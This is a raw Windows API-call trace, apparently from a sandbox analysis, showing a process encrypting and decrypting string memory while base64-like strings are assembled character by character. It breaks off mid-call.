(param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b") returned 0x28 [0134.496] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b") returned 0x28 [0134.496] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b") returned 0x28 [0134.496] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b") returned 0x30 [0134.496] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0134.496] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449d3ELGeD떦璉㷈瞎젮蛨") returned 0x30 [0134.496] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0134.496] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b\x311e\xc596\x6740\x4885\x702b\x1f37\xe213\x9e5a") returned 0x30 [0134.496] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b\x311e\xc596\x6740\x4885\x702b\x1f37\xe213\x9e5a") returned 0x30 [0134.497] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0134.497] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449d3ELGeDO璉㷈瞎젮蛨") returned 0x30 [0134.497] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0134.497] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b\x1333\x8734\x5f5d\x7cff\x6ff0\xccaf\xd3f8\x1d95") returned 0x30 [0134.497] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b\x1333\x8734\x5f5d\x7cff\x6ff0\xccaf\xd3f8\x1d95") returned 0x30 [0134.497] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0134.497] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449d3ELGeDOM㷈瞎젮蛨") returned 0x30 [0134.497] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0134.497] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b\x1dfd\xaee4\x587d\x22bb\x6497\x212e\xf330\x3805") returned 0x30 [0134.497] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b\x1dfd\xaee4\x587d\x22bb\x6497\x212e\xf330\x3805") returned 0x30 [0134.497] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0134.497] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449d3ELGeDOM=瞎젮蛨") returned 0x30 [0134.497] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0134.497] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.497] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.497] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.498] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0134.498] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.498] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.498] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.498] SysStringLen (param_1="") returned 0x8 [0134.498] SysStringLen (param_1="Y") returned 0x8 [0134.498] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.499] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.499] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.499] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.499] SysStringLen (param_1="YW") returned 0x8 [0134.499] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.499] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.499] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.499] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.499] SysStringLen (param_1="YWM") returned 0x8 [0134.499] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.499] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.499] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.499] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.499] SysStringLen (param_1="YWM1") returned 0x8 [0134.499] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.499] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.499] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.499] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.500] SysStringLen (param_1="YWM1O") returned 0x8 [0134.500] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.500] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.500] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.500] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.500] SysStringLen (param_1="YWM1OT") returned 0x8 [0134.500] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.500] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.500] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.500] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.500] SysStringLen (param_1="YWM1OTE") returned 0x8 [0134.500] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.500] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.500] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.500] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.500] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0134.500] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.501] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.501] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.501] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.501] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0134.501] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.501] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0134.501] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.501] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.501] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0134.501] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.501] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.501] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0134.501] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.502] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.502] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.502] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.502] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0134.502] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.502] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.502] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.502] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.502] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0134.502] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.502] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.502] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.502] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.502] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0134.502] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.502] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.502] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.502] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.503] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0134.503] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.503] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.503] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0134.503] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0134.503] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.503] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0134.503] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.503] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.504] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0134.504] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.504] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.504] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0134.504] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.504] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.504] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0134.504] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.504] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.504] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0134.504] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.505] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.505] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0134.505] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.505] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.505] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0134.505] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.506] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.506] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.506] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0134.506] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.506] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0134.507] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.507] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0134.507] SystemFunction040 (in: 